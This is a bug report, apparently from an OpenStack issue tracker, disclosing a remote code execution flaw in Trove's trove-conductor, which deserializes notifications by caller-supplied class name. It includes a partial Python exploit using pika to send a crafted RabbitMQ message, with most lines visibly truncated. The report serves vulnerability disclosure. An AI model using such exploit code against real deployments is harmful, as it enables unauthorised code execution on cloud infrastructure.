Remote Code Execution in trove-conductor
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
OpenStack DBaaS (Trove) |
New
|
Undecided
|
Unassigned | ||
OpenStack Security Advisory |
Won't Fix
|
Undecided
|
Unassigned |
Bug Description
Trove-conductor allows remote DB instance to to describe class name of serialized notification and performs it's deserialization. The security issue is that trove-conductor doesn't check the class name, so attacker can create instance of arbitrary type, and, moreover, as long as instantiating and function call have the same syntax in python - call arbitrary function. It can lead to remote code execution in trove-conductor instance. The attacker has to know only credentials to authenticate in rabbitmq to be able to communicate with trove-conductor. Credentials are usually stored in DB instance, so that's not a big problem.
Example of exploit:
```
import uuid
import pika
import json
HOST = "trove_
PORT = "trove_
LOGIN = "your_rabbit_
PASSWORD = "your_rabbit_
credentials = pika.PlainCrede
parameters = pika.Connection
connection = pika.BlockingCo
channel = connection.
pld = json.dumps({
"oslo.message": json.dumps({
"_msg_id": "bdbe9981fdf84a
"version": "1.0",
"_timeout": None,
"_reply_q": "reply_
"args": {
"method": "notify_end"}),
"oslo.version": "2.0"})
channel.
body=pld,
)
)
```
Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.